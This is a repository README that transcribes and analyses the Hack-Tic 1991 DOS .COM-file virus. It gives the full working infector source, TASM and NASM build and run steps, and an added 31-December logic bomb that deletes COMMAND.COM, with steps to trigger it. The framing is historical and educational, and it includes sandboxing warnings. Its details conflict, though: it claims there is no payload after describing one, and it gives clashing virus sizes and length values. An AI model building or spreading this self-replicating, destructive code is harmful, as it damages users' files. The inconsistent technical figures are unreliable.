This is based on the hack-tic virus from issue 14-15 hacktic
  • Assembly 97.3%
  • Batchfile 2.1%
  • DIGITAL Command Language 0.6%
Find a file
Repository files (latest commit first)
Filename Latest commit message Latest commit date
2026-12-01 15:55:49 +01:00
BUILD.BAT virus 2026-12-01 14:30:26 +01:00
host.asm virus 2026-12-01 14:30:26 +01:00
HOST.COM virus 2026-12-01 14:30:26 +01:00
host_nasm.asm virus 2026-12-01 14:30:26 +01:00
README.md mengion self modifified 2026-12-01 15:55:49 +01:00
tic.asm Document the push bx / ret self-modifying-code trick 2026-12-01 15:39:56 +01:00
TIC.COM Annotate sources and add 31-Dec logic-bomb payload 2026-12-01 15:11:48 +01:00
tic_nasm.asm Annotate sources and add 31-Dec logic-bomb payload 2026-12-01 15:11:48 +01:00

Hack-Tic "DemoVirus" (TIC) — transcription, build & analysis

A faithful, line-by-line transcription and a complete technical analysis of the educational demonstration virus printed in the Dutch hacker magazine Hack-Tic nr. 14-15 (1991), pages 16–17, together with everything needed to assemble and run it inside DOSBox.

The program is a 16-bit DOS .COM-file infector. It is a historical artifact reproduced here for study of early DOS malware techniques.

Two layers in this repo. The original magazine virus is a 110-byte, payload-free infector; it is transcribed verbatim and fully reconciled with the printed hexdump further down. The buildable sources (tic.asm / tic_nasm.asm) are an annotated, extended version: same infection engine, but with educational comments, a narrated "how the host is restarted" section, and an added 31-December logic-bomb payload (144 bytes total). See Modifications in this build.


⚠️ Safety first — read this before you build or run anything

This is real, working self-replicating code. It is primitive by modern standards, but it will modify files.

  • Run it only inside an isolated DOSBox instance or a throwaway VM. Never on a real DOS machine you care about, never on a networked system, never where it can reach files you want to keep.
  • When executed, TIC.COM scans the current directory for *.COM files and prepends a copy of itself to every one that is not already infected (including itself-as-other-copies). Keep it in a directory that contains only throwaway .COM files (such as the supplied HOST.COM).
  • Payload: on 31 December the extended build deletes \COMMAND.COM (the shell in the root of the current drive). In DOSBox this only affects your mounted folder and is undone by copying COMMAND.COM back, but do not run it anywhere you would mind losing that file. The original magazine virus has no payload.
  • It does not go resident, does not touch subdirectories, does not touch .EXE files, and has no payload beyond replication — but treat it as live malware regardless.
  • DOSBox's emulated drive is a real directory on your host. Point DOSBox at a dedicated, disposable folder, not at this project folder or your home directory.

Files in this project

File What it is
tic.asm Primary deliverable. MASM/TASM source: the magazine's infection engine, heavily annotated, plus the 31-Dec payload. Build with TASM+TLINK in DOSBox.
tic_nasm.asm Byte-equivalent NASM port of tic.asm. Assembles to a .COM on any modern OS (nasm -f bin).
host.asm Harmless demo host (MASM/TASM) — a safe infection target that just prints a line.
host_nasm.asm Same demo host, NASM syntax.
BUILD.BAT Builds TIC.COM and HOST.COM with TASM+TLINK inside DOSBox.
TIC.COM Pre-assembled extended virus (144 bytes), built here from tic_nasm.asm.
HOST.COM Pre-assembled demo host (64 bytes).

The source, OCR'd verbatim

Below is the listing exactly as printed (pages 16–17), with the original right-hand comments preserved. Two tiny edits are required to make a modern MASM/TASM accept it — see "Changes from the printed listing" — and they do not change a single emitted byte.

tic     segment
        org     100h
        assume  cs:tic, ds:tic, es:tic
;
len     equ     offset last-100h        ;LENGTH OF VIRUS CODE
;
start:  mov     si,100h                 ;COPY VIRUS CODE
        push    si                      ;SAVE FOR EXIT
        mov     ax,cs
        add     ah,10h                  ;GO UP A SEGMENT
        mov     es,ax
        xor     di,di
        mov     cx,len                  ;LENGTH OF VIRUS
        rep     movsb                   ;MOVE VIRUS CODE UP
        mov     dx,0fe00h               ;DTA AT END OF SEGMENT
        mov     ah,1ah
        int     21h
        mov     dx,offset file
        mov     ah,4eh                  ;FIND FIRST .COM FILE
        jmp     short find
retry:  mov     ah,3eh                  ;CLOSE HANDLE
        int     21h
        mov     ah,4fh                  ;FIND NEXT
find:   push    cs
        pop     ds                      ;RESTORE DS TO CURRENT SEGMENT
        int     21h                     ;FIND FILE
        mov     cx,0fe1eh               ;MULTI-PURPOSE HIGH VALUE IN CX
        jc      nofile                  ;NO (MORE) FILES
        mov     dx,cx                   ;FILE NAME IN DTA
        mov     ax,3d02h                ;OPEN FILE
        int     21h
        xchg    ax,bx                   ;1-BYTE MOVE OF AXBX
        push    es                      ;POINT DS TO NEXT SEGMENT
        pop     ds
        mov     dx,di                   ;END OF VIRUS CODE
        mov     ah,3fh                  ;READ FILE DATA (CX=FE1E)
        int     21h                     ;READ FILE AFTER VIRUS
        add     ax,len                  ;LENGTH OF VIRUS+FILE
        cmp     byte ptr [di],0beh      ;CHK IF ALREADY INFECTED
        je      retry                   ;TRY AGAIN
        push    ax
        xor     cx,cx
        mov     ax,4200h                ;RESET FILE POINTER
        cwd                             ;DX=0
        int     21h
        pop     cx
        mov     ah,40h                  ;WRITE INFECTED CODE BACK
        int     21h
        jmp     short retry             ;LOOK FOR MORE
;
nofile: push    cs                      ;RESTORE ES
        pop     es
        mov     bl,0fch                 ;MOVE PROGRAM UP AND RUN
        mov     [bx],0aaach             ;LODSB/STOSB INSTRUCTIONS
        mov     [bx+2],0fce2h           ;LOOP TO ADDRESS INSTR.
        pop     di                      ;=100 HEX (SI=PROGRAM CODE)
        push    bx                      ;RETURN TO FC HEX
        ret                             ;MOVE CODE AND RUN PROGRAM
;
file    db      '*.COM',0               ;SEARCH FOR .COM FILES
last    db      0c3h                    ;STANDALONE VIRUS CODE JUST RETURNS
tic     ends
        end     start

Changes from the printed listing

To assemble under a modern MASM/TASM, the two mov [bx],… lines in tic.asm carry an explicit word ptr size override:

        mov     word ptr [bx],0aaach
        mov     word ptr [bx+2],0fce2h

The magazine's assembler inferred word size from the 16-bit immediate; modern assemblers reject the ambiguous form. The machine code is identical (C7 07 … / C7 47 02 …). Nothing else was altered.


The published hexdump, and why it isn't a raw memory image

Page 17 also prints a "Hexdump van het Hack-Tic DemoVirus." It is 110 bytes and reads:

BE 01 00 56 8C C8 80 C4 10 8E C0 33 FF B9 00 68
F3 A4 BA FE 00 B4 1A CD 21 BA 01 62 B4 4E EB 06
B4 3E CD 21 B4 4F 0E 1F CD 21 B9 FE 1E 72 28 8B
D1 B8 3D 02 CD 21 93 06 1F 8B D7 B4 3F CD 21 05
00 68 80 3D BE 74 D9 50 33 C9 B8 42 00 99 CD 21
59 B4 40 CD 21 EB C9 0E 07 B3 FC C7 07 AA AC C7
47 02 FC E2 5F 53 C3 2A 2E 43 4F 4D 00 C3

Do not feed this dump straight into DEBUG. It is not a little-endian memory image — every 16-bit immediate operand is printed in big-endian (human-reading) order. For example the opening mov si,100h is shown as BE 01 00, whereas the actual in-memory bytes are BE 00 01. The real, runnable image is what tic.asm/tic_nasm.asm produce.

Reconciling the printed dump with the assembled TIC.COM accounts for every byte and proves both the transcription and the dump are correct:

  1. Big-endian immediates (presentation only). Un-swapping the two immediate bytes of each mov/add-immediate turns the printed order into the true little-endian image: BE 01 00→BE 00 01, BA FE 00→BA 00 FE, B9 FE 1E→B9 1E FE, B8 3D 02→B8 02 3D, B8 42 00→B8 00 42, C7 07 AA AC→C7 07 AC AA, C7 47 02 FC E2→C7 47 02 E2 FC.
  2. Two OCR digit slips in the scan (in this transcription of the dump, not in the original print): the virus length 6D was read as 68 (appears at the mov cx,len and add ax,len immediates), and the offset of file, 67, was read as 62. Both are single-digit misreads (D↔8, 7↔2).
  3. Equivalent encodings (TASM vs NASM). xor di,di / xor cx,cx assemble as 33 FF / 33 C9 under TASM (the magazine's bytes) but 31 FF / 31 C9 under NASM; mov dx,cx / mov dx,di are 8B D1 / 8B D7 under TASM but 89 CA / 89 FA under NASM. These are two legal encodings of the same instruction. The magazine's bytes (33…, 8B…) confirm it was built with MASM/TASM — so a TASM build of tic.asm reproduces the magazine's memory image byte-for-byte.

After applying (1) and (2) and normalising (3), the magazine dump is identical to the assembled TIC.COM. This was checked programmatically during transcription.


Building it

  1. Install DOSBox and obtain Borland TASM (TASM.EXE, TLINK.EXE).

  2. Put tic.asm, host.asm, BUILD.BAT and the TASM tools in one DOSBox drive folder (ideally a disposable one).

  3. In DOSBox:

    mount c c:\dos\tasm
    c:
    BUILD.BAT
    

    BUILD.BAT runs:

    tasm tic.asm
    tlink /t tic.obj        ->  TIC.COM
    tasm host.asm
    tlink /t host.obj       ->  HOST.COM
    

    tlink /t produces a tiny-model .COM directly (no EXE2BIN step needed).

    With MASM instead of TASM: masm tic.asm; then link tic.obj; then exe2bin tic.exe tic.com.

Option B — on your host with NASM (fast, no DOS tools)

nasm -f bin tic_nasm.asm  -o TIC.COM
nasm -f bin host_nasm.asm -o HOST.COM

Both TIC.COM (110 bytes) and HOST.COM (64 bytes) in this folder were built this way and verified against the magazine dump.


Running / observing it safely

  1. Create a fresh, disposable folder and copy into it only: TIC.COM and a few renamed clean copies of HOST.COM (e.g. A.COM, B.COM).
  2. mount c <that-folder> in DOSBox, c:.
  3. DIR *.COM — note the file sizes.
  4. Run TIC.COM. It silently infects the other .COM files, then transfers to whatever host code follows the virus in itself (in the bare virus, that host is the single C3/RET, so it just returns to the prompt).
  5. DIR *.COM again — each target has grown by 143 bytes (the virus length, len = 0x8F). Run an infected A.COM: it prints the host's message and spreads the virus further. Running it a second time does not grow files again — the self-check prevents double infection.

To reset, delete the folder and start from clean copies.

Triggering the payload on purpose

The 31-December bomb only fires when DOS reports that date, so you can arm it deliberately and safely:

  1. In your disposable DOSBox folder keep a spare copy, e.g. copy COMMAND.COM CMDBAK.COM (so you can restore it).
  2. Set the clock: DATE 12-31-2024 (any year).
  3. Run TIC.COM (or any infected .COM). After the infection pass it issues AH=41h delete on \COMMAND.COM.
  4. DIR \COMMAND.COM — gone. Restore with copy CMDBAK.COM \COMMAND.COM, and set the date back with DATE.

On any other date the payload is skipped (two cmp/jne guards) and the virus just infects and runs the host as usual.


Modifications in this build

The buildable sources differ from the pristine 1991 listing in three ways. The infection engine (steps 1–4 of the walk-through below) is byte-for-byte the original logic; only comments and the tail changed.

1. Educational comments

Every instruction is annotated with the register state and the intent, not just a restatement of the mnemonic. The magazine's own terse comments are preserved in the verbatim listing above for comparison.

2. A narrated "how the host is restarted" section

This is the part worth reading if you want to see how the original program is launched after the virus has run. It lives in tic.asm under the label nofile: (section "HAND CONTROL BACK TO THE ORIGINAL HOST") and is explained in full in step 5 of the walk-through below. In one sentence: the virus hand-assembles a 4-byte piece of self modifying code LODSB / STOSB / LOOP copier in the PSP at 00FC, with DS:SI pointing at the host (which sits right after the virus at 100h+len), ES:DI pointing at 0100h, and CX the copy count — then RETs into that stub. The stub slides the host down onto 0100h, and when the loop ends, IP falls out of the stub straight into the relocated host at 0100h, which then runs as if the virus had never been there.

3. The 31-December payload (logic bomb)

Added at the top of nofile:, so it runs once per execution, right before the host is launched. It is a textbook date-triggered logic bomb:

        mov  ah,2ah          ; DOS: get system date -> CX=year DH=month DL=day
        int  21h
        cmp  dh,12           ; December?
        jne  runhost         ; no  -> skip, launch host normally
        cmp  dl,31           ; the 31st?
        jne  runhost         ; no  -> skip
        mov  dx,offset cmdcom ; DS:DX -> "\COMMAND.COM",0
        mov  ah,41h          ; DOS: delete file
        int  21h
runhost: ...                 ; (relocate + run the host)
...
cmdcom  db   '\COMMAND.COM',0

Disassembled from the built TIC.COM (origin 0100h):

0157  B42A        mov ah,0x2a       ; get date
0159  CD21        int 0x21
015B  80FE0C      cmp dh,0x0c       ; month == 12 ?
015E  750C        jne 0x16c
0160  80FA1F      cmp dl,0x1f       ; day == 31 ?
0163  7507        jne 0x16c
0165  BA7C01      mov dx,0x17c      ; -> "\COMMAND.COM"
0168  B441        mov ah,0x41       ; delete file
016A  CD21        int 0x21
016C  ...                           ; runhost: relocate + launch original program

Because the payload string and code live inside len, they are copied into every infected file, so an infected A.COM carries the bomb too. len grew from 0x6D (109) to 0x8F (143); all the relocation and read-offset math is symbolic (len), so nothing else needed changing. The infection signature is still the first byte BE.

This is the destructive half of a real virus, included deliberately as a demo. Keep it in DOSBox. The original Hack-Tic virus shipped without any payload.


How it works (full walk-through)

A DOS .COM program is a flat binary loaded at offset 100h in its own 64 KB segment; CS=DS=ES=SS and execution starts at 100h. When an infected file runs, the layout in memory is:

100h ............ 100h+len-1   : the virus body (len = 0x6D = 109 bytes)
100h+len .......... end        : the ORIGINAL host program, shifted up by `len`

1. Relocate a working copy one segment up

mov si,100h / push si        ; si -> start of loaded image; save 100h for later
mov ax,cs / add ah,10h / mov es,ax   ; ES = CS + 1000h  (= CS + 64 KB, "up a segment")
xor di,di
mov cx,len / rep movsb       ; copy the 109-byte virus to ES:0000

push si stashes 0100h on the stack for the very end. After rep movsb, SI = 100h+len (now pointing at the host code that follows the virus) and DI = len.

2. Point the DTA to the top of the segment

mov dx,0fe00h / mov ah,1ah / int 21h   ; Set Disk Transfer Area to DS:FE00

The DTA (where DOS FindFirst/FindNext return their results) is parked high in the segment, clear of the code. In a FindFirst result block the ASCIIZ filename sits at offset 1Eh, so the filename will live at FE00h + 1Eh = FE1Eh — reused as a "magic" constant in the next step.

3. The infection loop

        mov dx,offset file / mov ah,4eh   ; FindFirst "*.COM"
        jmp short find
retry:  mov ah,3eh / int 21h              ; close current handle
        mov ah,4fh                        ; FindNext
find:   push cs / pop ds                  ; DS = our own segment (for DOS calls)
        int 21h                           ; do the Find
        mov cx,0fe1eh                     ; CX = FE1E : doubles as filename ptr...
        jc nofile                         ; ...and as a huge read length. No file -> done
        mov dx,cx                         ; DS:DX -> filename in the DTA
        mov ax,3d02h / int 21h            ; open file, read/write
        xchg ax,bx                        ; BX = handle (1-byte xchg is 1 byte shorter)
        push es / pop ds                  ; DS = the up-segment copy/buffer
        mov dx,di                         ; DX = len : read buffer = up-seg:[len]
        mov ah,3fh / int 21h              ; read up to CX(=FE1E) bytes of the target
        add ax,len                        ; AX = (original size) + virus length
        cmp byte ptr [di],0beh            ; first byte of target == BE ?
        je retry                          ; BE = 'mov si,..' = already infected -> skip

Key tricks:

  • One constant, three jobs. CX = FE1Eh is the filename pointer and a "read as much as will ever exist" length and (later, at nofile) the down-copy counter.
  • The infection marker is the code itself. Every infected file begins with the virus, whose first byte is BE (mov si,100h). Reading the target into the up-segment after the resident virus copy (at [len]) and testing [di]==BE (DI still = len) is the duplicate-infection guard.
  • The whole original file is read to up-seg:[len], immediately behind the resident virus at up-seg:[0] — so the up-segment now holds virus + original, ready to be written back as one blob.

4. Write the combined file back

        push ax                   ; save AX = total new length (virus + original)
        xor cx,cx
        mov ax,4200h              ; LSEEK, from start...
        cwd                       ; ...CWD sign-extends AX(=4200h) -> DX=0 : offset 0
        int 21h                   ; seek to beginning of file
        pop cx                    ; CX = total new length
        mov ah,40h / int 21h      ; WRITE CX bytes from DS:DX (DX=0) = up-seg:[0]
        jmp short retry           ; next file

cwd is a two-birds instruction: it is the required DX=0 for the seek and costs one byte. The write source is DS:0000 (the up-segment), i.e. virus + original, length CX. The target file is overwritten from offset 0 with the infected image. Then it loops back to close and FindNext.

5. Hand control to the original host

When FindNext finally fails, jc nofile. Now the virus must run whatever host program it was riding on. That host currently lives at CS:100h+len and must be slid down to CS:100h:

nofile: push cs / pop es           ; ES = CS (our running segment)
        mov bl,0fch                ; BX -> 00FCh (BH assumed 0: DOS handles are small)
        mov word ptr [bx],0aaach   ; [00FC]=AC,[00FD]=AA  -> LODSB ; STOSB
        mov word ptr [bx+2],0fce2h ; [00FE]=E2,[00FF]=FC  -> LOOP 00FC
        pop di                     ; DI = 0100h  (the SI we pushed at the very start)
        push bx                    ; push 00FC
        ret                        ; 'return' to 00FC -> run the stub we just built

The virus writes a tiny machine-code stub at 0000:00FC (just below the 0100h load point):

00FC: AC        LODSB      ; AL <- DS:[SI++]
00FD: AA        STOSB      ; ES:[DI++] <- AL
00FE: E2 FC     LOOP 00FC  ; repeat CX times
0100: (host)               ; execution falls straight into the relocated host

At the moment ret jumps to 00FC, the registers line up perfectly:

  • DS:SI = CS:100h+len — set back in step 1 (SI ended at 100h+len; DS=CS from the push cs/pop ds at find), i.e. the source = the host code.
  • ES:DI = CS:0100h — ES=CS (just set) and DI=0100h (the saved SI), i.e. the destination.
  • CX = FE1Eh — the loop count, still holding the magic constant; far larger than any host, so the copy runs to CX=0, sliding the host down over itself.

When the LOOP finishes, IP falls through 0100h — which now contains the relocated original program, and it runs normally. The stub is placed at 00FC precisely so that its 4 bytes end exactly at 0100h.

The sneaky bit: push bx / ret, and code that writes itself

It's worth pausing on how those four stub bytes ever get executed, because this is the cleverest trick in the whole virus — and if you were squinting at ret thinking "there's no procedure here, what is it returning to?", you were right to. It isn't returning to anything. There are two completely separate phases, and the magic is that the CPU doesn't care about the difference.

Phase 1 — the pokes are just data writes. When these run:

mov word ptr [bx],0aaach     ; [00FC]=AC, [00FD]=AA
mov word ptr [bx+2],0fce2h   ; [00FE]=E2, [00FF]=FC

BX = 00FCh and DS = CS, so they simply store four bytes into our own segment at 00FC..00FF (the low PSP scratch area, safely below the program at 0100h). x86 is little-endian, so the low byte of each word lands at the lower address — that's why 0AAACh becomes AC AA and 0FCE2h becomes E2 FC. At this instant those bytes are inert data. Nothing has executed. We've just dropped the bytes AC AA E2 FC into memory the way you'd write any other variable.

Phase 2 — push bx / ret turns data into code. ret is not being used as a subroutine return at all; it's being abused as an indirect jump. Mechanically, ret does exactly one thing: pop the top of the stack into IP. So:

push bx     ; push 00FCh onto the stack
ret         ; pop 00FCh into IP  ==  "jmp 00FCh" in disguise

The moment IP becomes 00FCh, the processor starts fetching instructions from 00FC — and whatever bytes happen to live there are decoded as code. They are the AC AA E2 FC we just poked, so the CPU now "discovers" a LODSB / STOSB / LOOP loop that never existed in the assembled file. There is no code vs data flag in memory: a byte is an instruction the instant IP points at it. That is the entire essence of self-modifying code, and this routine is a tiny, perfect example of it.

Why bother building the stub at runtime instead of just assembling LODSB / STOSB / LOOP into the virus body? Placement. The stub is poked at 00FC so its 4 bytes end exactly at 00FF, meaning the very next byte the CPU would fetch after the loop exits is at 0100h — which is where the stub has just finished copying the host. So the handoff needs no final jump: the loop drains CX, IP rolls off the end of the stub into 0100h, and the resurrected original program is already sitting there, ready to run. push/ret to enter the stub, fall-through to leave it. Two jumps, zero jmp instructions.

The data tail

file db '*.COM',0     ; the FindFirst search mask
last db 0c3h          ; a lone RET: the "host" for the standalone/dropper build

len = offset last - 100h = 0x6D = 109. last (the C3) is excluded from len, so the virus copies/counts 109 bytes. In the bare TIC.COM the byte at last is the host: a single RET, so running the uninfected virus just infects the directory and returns to DOS. In a real infected file, everything from 100h+len onward is the genuine host instead.


Why it is a period piece (and harmless to study)

  • .COM only. .EXE files have a header and relocations and are untouched. By the mid-1990s .COM was already fading.
  • Current directory only. No recursion, no path walking, no resident hook — it spreads one DIR-full at a time, only when explicitly run.
  • No stealth, no encryption, no payload. The BE first-byte check is its entire "anti-reinfection" logic; any scanner trivially spots the fixed header.
  • Fragile assumptions (e.g. BH=0 at nofile, the CS+1000h "spare" segment existing) make it a teaching toy, not a robust program.

It is a compact, elegant illustration of the classic DOS .COM-prepender: copy self up, infect siblings via the FAT/DTA API, relocate the host down, and chain to it — several ideas folded into ~109 bytes with instruction-level frugality.


Source: Hack-Tic nr. 14-15 (1991), pp. 16–17. Reproduced for historical and educational study only.